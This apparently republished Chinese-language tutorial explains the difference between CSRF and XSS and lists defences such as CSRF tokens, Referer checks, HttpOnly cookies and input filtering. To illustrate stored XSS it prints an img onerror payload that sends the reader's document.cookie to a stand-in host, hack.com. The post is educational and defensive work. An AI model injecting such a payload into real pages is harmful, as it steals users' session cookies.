1. 程式人生 > >CSRF和XSS區別和預防

CSRF和XSS區別和預防

名詞解釋

CSRF(Cross-site request forgery)跨站請求偽造

XSS (Cross-site scripting)跨站指令碼攻擊,這裡縮寫css被前端層疊樣式表(Cascading Style Sheets)佔用了,為了區分就叫了xss。

攻擊手段描述

  • CSRF

攻擊場景描述:假設你登陸了a網站,此時你又打開了b網站的某個頁面,b網站的某個頁面上有一段程式碼,可能是一個自提交的表單,表單的action是a網站,這樣b網站就模擬了你的身份,向a網站傳送了一個請求。

CSRF的攻擊特點是偽造其他網站的操作,冒用身份比如利用cookie偽造登入憑證,不是竊取cookie,

攻擊可達到的後果:可以模擬你在a網站的所有操作,並且操作發生在你使用的瀏覽器,和你自己操作沒有區別,比較著名的有利用gmailCSRF漏洞竊取使用者郵件。

  • XSS

攻擊場景描述:屬於注入攻擊的一種。兩個使用者a和b,a在某網站上發表了一篇文章,其中包含了一串js程式碼,比如說程式碼如下:

<p>
    這裡顯示摘要內容,使用者可以輸入各種文字及圖片
    <img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
</p>

如果網站沒有做任何處理,直接儲存發表了這個文章,使用者b等檢視這篇文章的時候,這段程式碼就可以在使用者b沒有感知的情況下,竊取到b的cookie併發送到a的伺服器,以用於某些不良目的

攻擊可達到的後果:竊取使用者cookie,損害/控制使用者電腦做出某些行為,模擬使用者操作等。。xss的攻擊如果成功,一般來說是可以造成很嚴重後果的,因為對方相當於直接控制了你的操作,並做出一些你自己不會做的事情,CSRF相對來說,只是模擬了操作,還是受到服務提供者限制的。

解決方案

  • CSRF

對於跨站請求偽造,最重要的就是區分訪問源頭。因為發生在其他人的網站,防止攻擊來源的產生是不可能的,只能從提升自己網站的甄別度來解決。
常用的解決方案:

  1. 有每一個表單都帶有一個CSRF令牌(CSRF TOKEN),後端驗證沒有令牌的直接被拒絕,這裡的令牌需要和會話繫結更能確保安全性,尤其是不要提供獲取CSRF令牌的介面,否則就形同虛設了。
  2. 驗證 HTTP Referer 欄位
  3. 驗證碼(現在基本大型網站重要的操作都會進行驗證,甚至是手機驗證碼驗證來保障安全)
  • XSS

網站不應該信任使用者輸入的內容,應對使用者輸入內容進行處理,過濾任何有執行能力的指令碼或者影響頁面的CSS,保證其他使用者訪問頁面的安全。具體針對每種語言都有相應的處理機制和工具。一般各種後端框架都封裝或者提供相關外掛處理。

  1. 給Cookie新增HttpOnly屬性, 使cookie只能在http請求中傳遞, 像是上面那個指令碼中 document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防禦值. 但是對網路攔截, 還是洩露了.

  2. 在cookie中繫結使用者網路資訊等環境值,比如ip,user agent等,並在服務端校驗. 這樣當cookie被人劫持了, 並冒用, 但是在伺服器端校驗的時候, 發現校驗值發生了變化, 去規避cookie劫持

  3. cookie中session id的定時更換, 可以一定程度減少攻擊帶來的損害,並不能避免攻擊產生。

題外話

如果XSS和CSRF配合是不是更難防禦呢,比如a使用者訪問網站blog.com,發表了一篇文章,其中並沒有插入指令碼,只是插入了一個img標籤,超連結為hacker.com網站的一個網址,這個網址開啟以後是一個CSRF的頁面。。